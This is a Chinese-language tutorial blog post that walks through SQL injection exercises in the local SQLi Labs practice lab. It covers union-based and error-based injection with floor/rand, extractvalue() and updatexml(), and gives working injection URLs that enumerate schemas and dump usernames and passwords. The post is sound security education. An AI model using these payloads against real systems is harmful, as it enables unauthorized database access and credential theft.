上一篇我们讲了寻找SQL漏洞的思路,主要有黑白盒两种方式。这篇文章我再研究一下绕过SQL注入的绕过与利用。 我们都知道,不同的开发者, 对于安全认识程度也可能不一样,有的开发者可能没有对输入做过滤直接拼接,也有的开发者可能做了一定的过滤但是不全面,这些问题隐患都有可能造成安全风险。
为了学习SQL注入的绕过,我们将会练习SQL注入的靶场
并选择几个典型的例子进行分享。
主要参考文档:
https://www.modb.pro/db/231543
这里我使用的靶机环境是SQLi Labs, 这个平台专注于SQL注入的学习,并且涉及的题目量与知识点比较多,因此果断选择这个平台用来学习。
靶场的搭建也是比较简单,主要是下载SQLi Labs 的源码, 然后使用phpStudy 学习平台来运行即可。
然后,然后就可以愉快的玩耍了。
SQL注入有哪些分类呢?
按注入点进行分类
数字型注入点
字符型注入点
搜索型注入点: 其实就是sql语句包含类似 like ‘%关键字%’ 这样的特征
按数据提交方式分类
GET注入
POST注入
Cookie注入
Http头注入
按照执行效果分类
(1)基于布尔的盲注:即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)联合查询注入:可以使用union的情况下的注入。
(5)堆查询注入:可以同时执行多条语句的注入。
(6)宽字节注入:利用gbk是多字节的编码,两个字节代表一个汉字
在练习注入过程中,发现了一些奇怪的sql语句,不搞懂这些,就很难弄明白这个注入是咋实现的。 因此,在这里介绍一下。
order by 数字
表示按照第几个字段来排序, 可以用这个语句来探测一下某个表里有几个字段。
mysql的注释。
巧妙的利用注释可以实现sql注入。
mysql 的注释有4种:
“#” : # 开头到行尾的都为注释,只能注释一行
“-- ” (2个减号 一个空格) : -- 开头到行尾都为注释 , 只能注释一行
“/* xxx */" : 可以注释多行,但是一定要闭合,不然出错
”/*! 数字 代码 */" : 可以跨行注释,但是一定要闭合,不然出错。
mysql 注入中的 --+
可以用来在注入中起到注释的作用。
其中的--
表示注释,+
可以转化为空格,这是因为某些http请求实现过程中+发送到服务端后会被转化成空格,这里也可以使用空格的url编码%20。其实也可以使用--空格 任意字符
这样的方式起到注释的作用。
如何让数据库产生错误并外带出数据库信息
方法一:使用 floor , rand(), count(*) , group by 组合的方式配合完成错误注入
select count(*),(floor(rand(0)*2))x from information_schema.schemata group by x;
我们可以通过这个语句来触发主键冗余错误,具体原理可以查询一下哦。
不过,这个方法看起来比较麻烦,不利于快速实践,因此一般使用下面的方法二
。
方法二:extractvalue()
extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
如果第二个参数不是规定的类型, 那么报错就会带出信息,注入时在第一个参数处写入任意字符,在第二个参数处写入concat(1,payload)即可。(这里的1也可以是其他字符, 只要保证不是合法的输入类型即可)
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里举个例子,查询前5位字符信息:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
方法三: updatexml()
与extractvalue()函数类似,这里在传入三个参数,在第三个参数上写上任意字符,其余与上一个函数使用方法相同。
http://127.0.0.1/Less-1/?id=-1'
触发了sql 语法报错,找到注入点。
http://127.0.0.1/Less-1/?id=-1' order by 4 --+
尝试出表的列数
http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+
id = -1 使得条件不成立
http://127.0.0.1/Less-1/?id=-1' union select 1,2,database() --+
查询数据库对应的库名
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询数据库里有哪些表信息, 结果看到了一个user表。
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查看一下user表有哪几个字段, 结果看到了我们关注的user字段和password字段。
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(username) from security.users--+
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+
获取对应的用户和密码。
http://127.0.0.1:81/Less-2?id=1 and 1=1 --+
由于传入参数是数字类型, 就不需要’来闭合了。
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
我们看到,由于代码中有使用括号,我们要添加对应的括号闭合。
题目四
这一关使用")闭合,其余注入方式没有区别
题目五
这里,我们开始接触基于报错的sql注入。我们查看源代码可以发现,注入的sql,显示不出来了, 那么我们就无法获取信息。难道没有办法了吗, 其实,我摸可以人为的引起数据库的报错,但是数据库报错的同时也会把查询结果呈现在报错中
使用floor方式
select count(*),(floor(rand(0)*2))x from information_schema.schemata group by x;
获取库名
http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a --+
获取表名
http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat((select (select group_concat(table_name) from information_schema.tables where table_schema='security')),floor(rand(0)*2))a from information_schema.tables group by a--+
使用extractvalue()函数报错
http://127.0.0.1/Less-5/?id=1' and (extractvalue(1,concat(1,(select database())))) --+
使用updatexml() 函数报错
http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select database())),1) --+
本文简单介绍了sqli labs 中的SQL注入绕过与利用方式。当然,SQL注入还有其他几个高级的方法,本文涉及到的也只是包括联合查询注入和 报错注入。这是较为基础的方式,其他的方式可以在需要用到的时候,继续研究一下。本文主要介绍了人工做SQL注入方法,当然,也有专门用于SQL注入的自动化攻击,提升攻击的效率。下面一篇文章中,我将会介绍一款在SQL注入中常常会用到的工具sqlmap,
参考资料:
https://blog.csdn.net/qq_41755084/article/details/127229077
https://www.sqlsec.com/2020/05/sqlilabs.html